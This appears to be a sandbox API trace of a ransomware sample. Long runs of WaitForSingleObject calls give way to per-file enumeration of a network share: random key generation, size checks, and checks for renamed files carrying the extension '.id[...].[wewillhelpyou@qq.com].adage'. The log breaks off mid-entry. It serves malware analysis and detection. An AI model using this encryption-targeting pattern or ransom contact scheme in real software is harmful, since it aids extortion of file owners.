[0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.258] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.259] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.260] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.261] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.262] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.264] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.265] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.266] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.266] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.266] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.266] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.266] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.266] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.266] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.266] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.266] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.268] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.269] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.270] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.271] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.273] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.274] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.274] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.274] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.274] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.274] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.274] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0040.116] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.116] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LgQIok5RNh.mp4" (normalized: "\\\\192.168.0.1\\documents\\lgqiok5rnh.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.304] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=61847) returned 1 [0040.304] CloseHandle (hObject=0x180) returned 1 [0040.304] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LgQIok5RNh.mp4" (normalized: "\\\\192.168.0.1\\documents\\lgqiok5rnh.mp4")) returned 0x80 [0040.305] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LgQIok5RNh.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\lgqiok5rnh.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.305] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LgQIok5RNh.mp4" (normalized: "\\\\192.168.0.1\\documents\\lgqiok5rnh.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.445] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.445] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uX9C3BTlu7W5CJLwms.ppt" (normalized: "\\\\192.168.0.1\\documents\\ux9c3btlu7w5cjlwms.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.450] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=47203) returned 1 [0040.450] CloseHandle (hObject=0x180) returned 1 [0040.450] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uX9C3BTlu7W5CJLwms.ppt" (normalized: "\\\\192.168.0.1\\documents\\ux9c3btlu7w5cjlwms.ppt")) returned 0x80 [0040.451] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uX9C3BTlu7W5CJLwms.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ux9c3btlu7w5cjlwms.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.451] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uX9C3BTlu7W5CJLwms.ppt" (normalized: "\\\\192.168.0.1\\documents\\ux9c3btlu7w5cjlwms.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.488] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.488] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\a7jth.jpg" (normalized: "\\\\192.168.0.1\\documents\\a7jth.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.493] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=97421) returned 1 [0040.493] CloseHandle (hObject=0x180) returned 1 [0040.493] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\a7jth.jpg" (normalized: "\\\\192.168.0.1\\documents\\a7jth.jpg")) returned 0x80 [0040.493] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\a7jth.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\a7jth.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.494] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\a7jth.jpg" (normalized: "\\\\192.168.0.1\\documents\\a7jth.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.501] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.501] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EGXGDc6zOuTQrpM.gif" (normalized: "\\\\192.168.0.1\\documents\\egxgdc6zoutqrpm.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.505] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=87146) returned 1 [0040.505] CloseHandle (hObject=0x180) returned 1 [0040.505] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EGXGDc6zOuTQrpM.gif" (normalized: "\\\\192.168.0.1\\documents\\egxgdc6zoutqrpm.gif")) returned 0x80 [0040.506] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EGXGDc6zOuTQrpM.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\egxgdc6zoutqrpm.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.506] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EGXGDc6zOuTQrpM.gif" (normalized: "\\\\192.168.0.1\\documents\\egxgdc6zoutqrpm.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.513] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.513] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nCFz76aqfOi4GGvs9d9.m4a" (normalized: "\\\\192.168.0.1\\documents\\ncfz76aqfoi4ggvs9d9.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.520] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=78201) returned 1 [0040.520] CloseHandle (hObject=0x180) returned 1 [0040.520] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nCFz76aqfOi4GGvs9d9.m4a" (normalized: "\\\\192.168.0.1\\documents\\ncfz76aqfoi4ggvs9d9.m4a")) returned 0x80 [0040.520] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nCFz76aqfOi4GGvs9d9.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ncfz76aqfoi4ggvs9d9.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.520] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nCFz76aqfOi4GGvs9d9.m4a" (normalized: "\\\\192.168.0.1\\documents\\ncfz76aqfoi4ggvs9d9.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.527] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.527] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b13UpS9k3v.swf" (normalized: "\\\\192.168.0.1\\documents\\b13ups9k3v.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.531] 